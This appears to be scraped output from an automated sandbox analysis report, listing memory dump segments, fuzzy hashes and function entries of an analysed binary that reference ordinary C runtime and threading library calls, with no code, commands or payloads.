Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: 720384bee34320b6d1aabea4d9e464568bbcdf5ed6730990c9ffddd017abc2b0
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: 79113D776001824FE6948A3DC8F45F7E797EBD53217AC837AD0428B798DE22D9C59600

Function 04E204E8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252644709.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b936c3e0edeb24d96bf4dcdcf2510c9e483325b96da7b8490882d997609d6481
Instruction ID: 63648ffed8bcb9c29d465146e263b664f254966da9661c59b5eba7a535f85772
Opcode Fuzzy Hash: b936c3e0edeb24d96bf4dcdcf2510c9e483325b96da7b8490882d997609d6481
Instruction Fuzzy Hash: 2CE0309A7CC027ADE26185452B546FA7A2DE2C7630330A436F507D5482F3C55B4E6171

Function 0060A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: be8f11e810c595f6f4eed4a3bf9ad3e374d6b2ff66eabf2c394dc153c01effc0
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 34E08C32961228EBCB18DFD8C90499AF3EDEB49B40B65449AF501D3290C270DF00CBD4

Function 0060CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0060CC66

Strings

v`, xrefs: 0060CBE1

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v`
API String ID: 3213747228-3504745396
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 43367b25cf0b97c74e912dd53663de7af667b044cb349135073100ba1118a91d
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: B4B126329446459FDB19CF28C881BEFBBE6EF55360F14426AE845EB3C1D6348D42CBA4

Function 005D2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005D2F5F
__Mtx_unlock.LIBCPMT ref: 005D2FCC
__Cnd_broadcast.LIBCPMT ref: 005D2FE3
__Mtx_unlock.LIBCPMT ref: 005D30F5
__Mtx_unlock.LIBCPMT ref: 005D319B

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: fcc8097f6e3fa913adff4d0fa268abcefc77cd3f0bb5fb19db52ce6ed092cda9
Instruction ID: 473eb2bcf4d34b0132be031fdd2eea5b8997f1f594b70144d145867a457685b2
Opcode Fuzzy Hash: fcc8097f6e3fa913adff4d0fa268abcefc77cd3f0bb5fb19db52ce6ed092cda9
Instruction Fuzzy Hash: 1BA1EFB0A01246AFDB24DBA9C84975ABFB8FF54310F04852BE815D7341EB31EA05CBD2

Function 005EBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 005EBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 005EBBE4
_xtime_get.LIBCPMT ref: 005EBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 005EBC13

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 52faef185aebb45f464a6c0bfead709bebfa73127925e68eb069d2cd47d14f0c
Instruction ID: 4c6bafdc727a0d05aa444c7e10a76b475e3ab7cd52de305c9a0d73ce78f058ca
Opcode Fuzzy Hash: 52faef185aebb45f464a6c0bfead709bebfa73127925e68eb069d2cd47d14f0c
Instruction Fuzzy Hash: B2213D71A0015AAFDF04EFA5D8869BFBFB9FF48710F100415F955A7261DB309D029BA0

Function 0060F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0060F3A3

Strings

`'c, xrefs: 0060F375
8"c, xrefs: 0060F44B

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
